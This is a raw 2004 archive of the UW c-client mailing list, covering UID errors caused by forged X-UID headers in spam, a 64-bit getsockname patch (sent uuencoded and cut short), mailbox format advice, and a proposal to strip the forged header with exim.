iA5Fvr3S019964; Fri, 5 Nov 2004 07:57:53 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5FuUYV092260 for ; Fri, 5 Nov 2004 07:56:30 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5FuN9Y005746 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 5 Nov 2004 07:56:23 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5FuNZd006965; Fri, 5 Nov 2004 07:56:23 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5FuMNw024323; Fri, 5 Nov 2004 07:56:23 -0800 Message-Id: Date: Fri, 5 Nov 2004 07:56:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Timo Veith Cc: c-client@u.washington.edu Subject: Re: errors with pop3 In-Reply-To: <200411051128.37579.tv@rz-zw.fh-kl.de> References: <200411051128.37579.tv@rz-zw.fh-kl.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Every message has a 32-bit unique identifier (UID) value, which is strictly ascending in the mailbox (on other words, message n must have a higher UID than message n-1). This is needed for IMAP, but since ipop3d uses the same library UIDs are enforced there too. Consider one of these messages: "Message 124 UID 32 less than 146". This is mathematically impossible. Message 123 has a UID of 146 (possible), but message 124 has a UID of 32; not only is this wrong (since 146 > 32) but it is impossible for message 124 to ever have a UID of 32 no matter what message 123's UID is! One way that this can happen is if some tool other than c-client manipulated the mailboxes, e.g. copied messages from one mailbox to another. However, given that all these "UID 32" messages appeared, there is another, darker, probable cause. In traditional UNIX mailbox format, message metadata is kept in headers in the message. The original metadata header was Status:. Now there are several others, one of these being X-UID. Spammers and virus writers have taken to forging metadata headers, either out of stupidity or with malicious intent. If your mail delivery delivers a message with one of these forged headers intact, it will be perceived as message metadata with the resulting confusion. In other words, I believe that a spam/virus came in with X-UID: 32 in the header. There is no legitimate reason for any incoming message to do this; the only reason is stupidity or evil. The tmail and dmail programs in modern versions of UW imapd will recognize this and automatically convert these forged headers into something harmless. In the above case, it would be: X-Original-X-UID: 32 If you decide to try tmail or dmail, be sure to get a modern version. This is a relatively recently added facility. The latest UW IMAP toolkit sources (which include tmail and dmail as well as imapd and ipop3d) are always on: ftp://ftp.cac.washington.edu/mail/imap.tar.Z For what it's worth, most other mailbox formats store message metadata out-of-band from the message, where spammers and virus writers can't attack it. mbx format, for example, does not have this problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 5 12:14:35 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 12:14:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5KEYgc026871 for ; Fri, 5 Nov 2004 12:14:34 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5KEYrg022041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 12:14:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA5KDb8J017198; Fri, 5 Nov 2004 12:13:37 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5KCLuH071088 for ; Fri, 5 Nov 2004 12:12:21 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5KCKrk013020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 5 Nov 2004 12:12:20 -0800 Received: from omzesmtp02.mci.com (omzesmtp02.mci.com [199.249.17.9]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5KCJdd011938; Fri, 5 Nov 2004 12:12:20 -0800 Received: from dgismtp03.wcomnet.com ([166.38.58.143]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I6Q005EB2S03D@firewall.mci.com>; Fri, 05 Nov 2004 20:12:19 +0000 (GMT) Received: from dgismtp03.wcomnet.com by dgismtp03.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I6Q003012RCPG@dgismtp03.mcilink.com>; Fri, 05 Nov 2004 20:12:07 +0000 (GMT) Received: from [131.146.13.86] by dgismtp03.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I6Q002O32RVSM@dgismtp03.mcilink.com>; Fri, 05 Nov 2004 20:11:56 +0000 (GMT) Message-Id: <418BDE8C.7040906@fullmesh.net> Date: Fri, 05 Nov 2004 15:11:56 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P3_4 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >> [- Stuff about using size_t* as the third argument to getsockname() >> breaking on 64-bit BSD systems (which expect a socklen_t*) -] >> Yup. I hope to take a look at this today. > > > Great! Thanks. Sorry it took me so long to get back to this. Wedding and honey- moon took priority. :-) I believe this solves the problem. I have tested that it doesn't behave as if the connection is not on the imaps port when it actually is. I have not yet tested full functionality, but that requires a few other things to be done as this work is on my production mail server, and it'll take me a while to swap this code in. I have no fear that this will work, tho, as my test case works now, instead of failing. Patch attached, uuencoded to preserve space/tabbing. > imap-2004b will be released concurrently with Pine 4.62. I don't think > that the Pine release is imminent, barring some newly-discovered > critical bug. Okay. Hopefully this can get into 2004b, unless it's been realized without my noticing. :-) I may try to get the pkgsrc folks to make this a local patch until you get 2004b released. Thanks again for your help. - Chris ---8<---8<---8<--- begin 644 patch-local-aa M+2TM('-R8R]OF5?="`J;&5N7V)I9RD**WL**PEI M;G0)"7)E=#L**PES;V-K;&5N7W0);&5N(#T@*'-O8VML96Y?="DJ;&5N7V)I M9SL**PHK"7)E="`](&=E='-O8VMN86UE*',L(&%D9'(L("9L96XI.PHK"2IL M96Y?8FEG(#T@*'-I>F5?="EL96X["BL**PER971U Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 14:40:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5MeLYK032309 for ; Fri, 5 Nov 2004 14:40:21 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MeKnV017966 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 14:40:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA5MdE6t019536; Fri, 5 Nov 2004 14:39:14 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5Mc9DP034016 for ; Fri, 5 Nov 2004 14:38:09 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5Mc8sB019330 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 5 Nov 2004 14:38:09 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5Mc8dS030820 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 5 Nov 2004 14:38:08 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5Mc72e022347; Fri, 5 Nov 2004 14:38:08 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5Mc7ZV027306 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 5 Nov 2004 14:38:07 -0800 Message-Id: Date: Fri, 5 Nov 2004 14:36:03 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: <418BDE8C.7040906@fullmesh.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 5 Nov 2004, Chris Ross wrote: > Sorry it took me so long to get back to this. Wedding and honey- > moon took priority. :-) As indeed it should! All due congratulations! > Okay. Hopefully this can get into 2004b, unless it's been realized > without my noticing. :-) I've done more or less this patch (also doing getpeername()) in the latest ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z Note that this isn't the release version of imap-2004b; it's a development snapshot. But it's pretty close. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 5 14:50:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 14:50:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5Moo29032697 for ; Fri, 5 Nov 2004 14:50:50 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MolX1031513 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 14:50:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA5MoD94013212; Fri, 5 Nov 2004 14:50:13 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5MnMqj097292 for ; Fri, 5 Nov 2004 14:49:22 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MnLVK007995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 5 Nov 2004 14:49:21 -0800 Received: from omzesmtp02.mci.com (omzesmtp02.mci.com [199.249.17.9]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MnKa8031429; Fri, 5 Nov 2004 14:49:21 -0800 Received: from pmismtp06.wcomnet.com ([166.38.62.54]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I6Q00J87A28HA@firewall.mci.com>; Fri, 05 Nov 2004 22:49:20 +0000 (GMT) Received: from pmismtp06.wcomnet.com by pmismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I6Q00F01A28XI@pmismtp06.mcilink.com>; Fri, 05 Nov 2004 22:49:20 +0000 (GMT) Received: from [131.146.13.86] by pmismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I6Q00F7NA2710@pmismtp06.mcilink.com>; Fri, 05 Nov 2004 22:49:19 +0000 (GMT) Message-Id: <418C036F.7050500@fullmesh.net> Date: Fri, 05 Nov 2004 17:49:19 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >> Okay. Hopefully this can get into 2004b, unless it's been realized >> without my noticing. :-) > > > I've done more or less this patch (also doing getpeername()) in the latest > ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z > > Note that this isn't the release version of imap-2004b; it's a > development snapshot. But it's pretty close. Excellent. Thanks. Had you done that on your own, or did you do this today as a result of my patch? Just curious. :-) - Chris From pinedev@shivax2.cac.washington.edu Fri Nov 5 14:52:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 14:52:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5MqUlb000308 for ; Fri, 5 Nov 2004 14:52:30 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MqU2t018404 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 14:52:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA5MpqCu012102; Fri, 5 Nov 2004 14:51:52 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5MpPjA083700 for ; Fri, 5 Nov 2004 14:51:25 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MpOr9008624 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 5 Nov 2004 14:51:24 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MpNfU018359 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 5 Nov 2004 14:51:24 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5MpNeo014578; Fri, 5 Nov 2004 14:51:23 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5MpMOP022941 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 5 Nov 2004 14:51:22 -0800 Message-Id: Date: Fri, 5 Nov 2004 14:49:18 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: <418C036F.7050500@fullmesh.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 5 Nov 2004, Chris Ross wrote: > Excellent. Thanks. Had you done that on your own, or did you > do this today as a result of my patch? Just curious. :-) You're acknowledged in the source code for getspnam.c ... :-) -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Nov 6 11:37:03 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 6 Nov 2004 11:37:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA6Jb39g001050 for ; Sat, 6 Nov 2004 11:37:03 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA6Jb2Dx020779 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 6 Nov 2004 11:37:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA6JaCEQ008624; Sat, 6 Nov 2004 11:36:12 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA6JXpNb123914 for ; Sat, 6 Nov 2004 11:33:51 -0800 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iA6JXohd013032 for ; Sat, 6 Nov 2004 11:33:51 -0800 Received: (qmail 10525 invoked by uid 5002); 6 Nov 2004 19:33:37 -0000 Received: from akmal@angren.org by mail.design.uz by uid 5002 with qmail-scanner-1.22 (sophie: 3.04/2.19/3.81. spamassassin: 2.63. Clear:RC:1(195.69.188.129):. Processed in 1.272651 secs); 06 Nov 2004 19:33:37 -0000 Received: from unknown (HELO ?192.168.2.21?) (195.69.188.129) by mail.design.uz with SMTP; 6 Nov 2004 19:33:36 -0000 Message-Id: <1806933307.20041107003340@angren.org> Date: Sun, 7 Nov 2004 00:33:40 +0500 Reply-To: Akmal Khodjanov Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Akmal Khodjanov To: c-client@u.washington.edu Subject: mailbox format MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello list, I was wondering if there is any c-client driver to treat mail messages as separate files. I would like to fetch mail messages from a mail server and save them in separate files each. Thanks. -akmal. -- Best regards, Akmal mailto:akmal@angren.org ----------------------------------- "Classical physics has been superseded by quantum theory: quantum theory is verified by experiments. Experiments must be described in terms of classical physics." — C. F. von Weizsa"cker (1912- ), German physicist and philosopher. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 6 16:23:39 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 6 Nov 2004 16:23:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA70Ncbs007566 for ; Sat, 6 Nov 2004 16:23:38 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA70NcR7028240 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 6 Nov 2004 16:23:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA70MhiD011170; Sat, 6 Nov 2004 16:22:43 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA70KduA035890 for ; Sat, 6 Nov 2004 16:20:39 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA70Kdr2007901 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 6 Nov 2004 16:20:39 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA70Kcol021482; Sat, 6 Nov 2004 16:20:38 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA70KcFx018659; Sat, 6 Nov 2004 16:20:38 -0800 Message-Id: Date: Sat, 6 Nov 2004 16:20:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re: mailbox format In-Reply-To: <1806933307.20041107003340@angren.org> References: <1806933307.20041107003340@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 7 Nov 2004, Akmal Khodjanov wrote: > I was wondering if there is any c-client driver to treat mail messages > as separate files. I would like to fetch mail messages from a mail > server and save them in separate files each. The closest would be either mx or mh format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 8 06:24:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 06:24:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8EOko9008036 for ; Mon, 8 Nov 2004 06:24:47 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8EOj9S028958 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 06:24:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8EOb6X019972; Mon, 8 Nov 2004 06:24:37 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8EMsub113532 for ; Mon, 8 Nov 2004 06:22:55 -0800 Received: from zuse.rz-zw.fh-kl.de (zuse.rz-zw.fh-kl.de [143.93.17.100]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8EMqL7021679 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 06:22:53 -0800 Received: from amavis by zuse.rz-zw.fh-kl.de with scanned-ok (Exim 3.35 #1 (Debian)) id 1CRAPu-0005zm-00; Mon, 08 Nov 2004 15:22:46 +0100 Received: from zuse.rz-zw.fh-kl.de ([127.0.0.1]) by localhost (mail.zw.fh-kl.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18080-07; Mon, 8 Nov 2004 15:22:45 +0100 (CET) Received: from sub17.rz-zw.fh-kl.de ([143.93.17.17] helo=zwo224-tv.ds.fh-kl.de) by zuse.rz-zw.fh-kl.de with esmtp (Cipher TLSv1:RC4-MD5:128) (Exim 3.35 #1 (Debian)) id 1CRAPs-0005zP-00; Mon, 08 Nov 2004 15:22:44 +0100 Message-Id: <200411081522.46382.tv@rz-zw.fh-kl.de> Date: Mon, 8 Nov 2004 15:22:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Timo Veith To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: errors with pop3 In-Reply-To: References: <200411051128.37579.tv@rz-zw.fh-kl.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at zw.fh-kl.de X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello Mark, thank you very much for making this clear. I have another question. See below. Am Freitag, 5. November 2004 16:56 schrieben Sie: > In other words, I believe that a spam/virus came in with > X-UID: 32 > in the header. There is no legitimate reason for any incoming > message to do this; the only reason is stupidity or evil. > > The tmail and dmail programs in modern versions of UW imapd will > recognize this and automatically convert these forged headers into > something harmless. In the above case, it would be: > X-Original-X-UID: 32 > > If you decide to try tmail or dmail, be sure to get a modern version. > This is a relatively recently added facility. The latest UW IMAP > toolkit sources (which include tmail and dmail as well as imapd and > ipop3d) are always on: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z Because I don't have a recent version of uw-imap (not even modern) and I would prefer to leave uw-imap as it is, do you think it is a good idea to use exim for filtering out the X-UID header? I would set "headers_remove = X-UID" in the procmail_pipe driver. TIA and kind regards Timo From pinedev@shivax2.cac.washington.edu Mon Nov 8 08:04:36 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 08:04:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8G4a6g010967 for ; Mon, 8 Nov 2004 08:04:36 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with 